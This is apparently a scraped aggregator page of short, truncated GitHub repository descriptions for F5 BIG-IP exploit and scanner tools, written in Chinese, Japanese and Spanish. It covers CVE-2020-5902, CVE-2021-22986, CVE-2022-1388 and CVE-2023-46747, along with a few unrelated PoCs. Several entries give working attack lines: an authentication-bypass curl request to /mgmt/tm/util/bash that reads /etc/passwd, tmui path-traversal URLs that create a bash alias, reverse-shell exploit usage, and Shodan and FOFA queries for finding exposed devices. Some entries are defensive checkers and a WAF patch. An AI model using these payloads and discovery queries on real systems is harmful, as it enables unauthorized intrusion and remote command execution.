F5-BIG-IP-CVE-2020-5902

此存储库没有 README。...

F5-BIG-IP-POC

F5-BIG-IP POC go语言编写CVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC集合 后续会增加F5其他POC author:160team.west9B 仅限用于安全研究人员在授权的情况下使用，遵守网络安全法，产生任何问题，后果自负，与作者无关。 01-基本介绍 F5 POC合集： CVE-2020-5902：F5 BIG-IP远程代码执行漏洞 CVE-2021-22986：F5 BIG-IP iControl REST未授权远程命令执行漏洞 CVE-2022-1388：身份验证绕过远程命令执行 02-使用说明 usage:...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE アップデート: /hsqldb%0a/ を使用したバイパスルール Java デシリアライゼーション用 または /hsqld%b /hsqldb; root@kitploit: /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

dsa

Goのcrypto/dsa脆弱性（CVE-2016-3959）の概要 Alex Mullins 2016年4月9日 はじめに 最近、Goプログラミング言語用のDigital Signature Algorithm（DSA）暗号ライブラリにバグが発見されました。この記事では、このバグの詳細と、攻撃者がこれを利用して、クライアント認証に基礎となるDSAライブラリを使用する標準的なGo SSHサーバーに対してサービス拒否攻撃を仕掛ける方法について説明します。 この脆弱性が最初に言及されたのは、Open Source Security（oss-sec）メーリングリストの投稿...

F5-BigIP-CVE-2022-1388

F5-BigIP-CVE-2022-1388 针对 CVE-2022-1388 的反弹 Shell 下载与使用 git clone https://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388.git cd F5-BigIP-CVE-2022-1388 chmod +x Exploit-F5-BigIP-CVE-2022-1388.py python3 Exploit-F5-BigIP-CVE-2022-1388.py -t BigIP-IPAddress:Port -c "tmsh show sys hardware"...

f5-waf-quick-patch-cve-2021-44228

f5-waf-quick-patch-CVE-2021-44228 F5 Networks Advanced WAF/ASM クイックパッチ CVE 2021-44228。 概要 このツールはBIG-IPデバイスに接続し、CVE-2021-4428というカスタムシグネチャセットを作成し、すべてのポリシーにブロッキングモードで適用します。また、すべてのシグネチャを強制し、変更を適用します。BIG-IP ASM v15.xでテスト済みですが、v13.x/v14.x/v16.xでも動作すると思われます。 警告:...

CVE-2022-1388-checker

CVE-2022-1388-checker 用bash编写的简单脚本，用于对多个主机进行CVE-2022-1388（F5）的检查。 + 用法：./CVE-2022-1388.sh hosts.txt 参考 https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2020-27603-bbb-libreoffice-poc

CVE-2020-27603-bbb-libreoffice-poc Big Blue Button における Libreoffice ファイル流出脆弱性の概念実証 これらの ODT ファイルは、サーバーサイドの Libreoffice レンダリング（例：BigBlueButton）で発生する可能性のあるファイル流出脆弱性を悪用する方法を示しています。 背景: https://blog.hboeck.de/archives/902-File-Exfiltration-via-Libreoffice-in-BigBlueButton-and-JODConverter.html...

CVE-2023-4220-HTB-PermX

Chamilo-LMS-CVE-2023-4220-Exploit 説明 このエクスプロイトは、Chamilo-LMS における無制限ファイルアップロードの脆弱性を実証します。この脆弱性は、以下の場所にある big file upload 機能に影響します： root@kitploit: /main/inc/lib/javascript/bigupload/inc/bigUpload.php 影響を受けるバージョン : Chamilo LMS = v1.11.24 この脆弱性により、任意のファイルを以下の場所にアップロードできます： root@kitploit:...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST 漏洞 CVE-2022-1388 使用方法 此POC已验证！ root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

f5scan

f5scan F5 BIG IP Scanner for CVE-2020-5902 by bt0 脆弱性の詳細: https://support.f5.com/csp/article/K52145254?sf235665517=1 必要条件: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements オプション root@kitploit: -h, --help show this help message and exit -H HOST, --host HOST IP or Hostname ...

CVE-2022-1388

CVE-2022-1388 https://support.f5.com/csp/article/K23605346 此漏洞可能允许未经身份验证的攻击者通过管理端口和/或自身 IP 地址对 BIG-IP 系统进行网络访问，以执行任意系统命令、创建或删除文件或禁用服务。 将F5 IP地址写入F5IP后，执行CVE-2022-1388scan.sh，如果存在漏洞将会打印 参考： https://github.com/MrCl0wnLab/Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE チェッカー CVE-2022-1388 RCE F5 BIG-IP をチェックするシンプルなbashスクリプトです。 + 使用法: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE PoC エクスプロイト IPアドレス を変更するのを忘れないでください。 root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H...

CVE-2023-46747-RCE

脆弱性の詳細 fofa： root@kitploit: title="BIG-IP" || iconhash="-335242539" shodan root@kitploit: title:"BIG-IP" 影響を受けるバージョン https://my.f5.com/manage/s/article/K000137353 脆弱性の再現 1. 現時点では、ここでのユーザーは admin のみです: 2. スクリプトを実行します: root@kitploit: git clone https://github.com/W01fh4cker/CVE-2023-46747-RCE.git cd...

CVE-2022-1388

BIG-IP iControl REST 脆弱性 CVE-2022-1388 PoC この脆弱性により、管理ポートやセルフIPアドレスを介してBIG-IPシステムにネットワークアクセスできる認証されていない攻撃者が、任意のシステムコマンドの実行、ファイルの作成・削除、またはサービスの無効化を行う可能性があります。 PoC 以下のcurlワンライナーを使用してF5 Big-IPの脆弱性を確認するか、提供されているPythonスクリプトを使用することができます。 root@kitploit: cat ips.txt | while read ip; do curl -su admin -H...

CVE-2021-22986

CVE-2021-22986 F5 BIG-IP/BIG-IQ iControl Rest API SSRF から RCE へ 使い方: root@kitploit: python CVE-2021-22986.py...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP 产品的 iControl REST API 功能中存在一个远程代码执行漏洞。未经身份验证的远程攻击者可以利用此漏洞绕过身份验证，并以 root 权限执行任意命令。 用法 python3 f5bigipscanner.py...

CVE-2022-1388

CVE-2022-1388 Impacto Esta vulnerabilidad puede permitir a un atacante no autenticado con acceso de red al sistema BIG-IP a través del puerto de administración y/o direcciones IP propias ejecutar comandos arbitrarios del sistema, crear o eliminar archivos, o deshabilitar servicios. No hay...

CVE-2022-1388

shodan search 'http.html:"BIG-IP Configuration Utility"' --fields=ipstr,port --separator ":" --limit 10 | grep '' shodan search 'http.title:"BIG-IP®-+Redirect"+"Server"' --fields=ipstr,port --separator ":" --limit 10 | grep '' CVE-2022-1388 CVE-2022-1388 スキャナー 使用方法 $python3 CVE-2022-1388-V1.1.py...

CVE-2020-5903

CVE-2020-5902 リモートコード実行 /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash...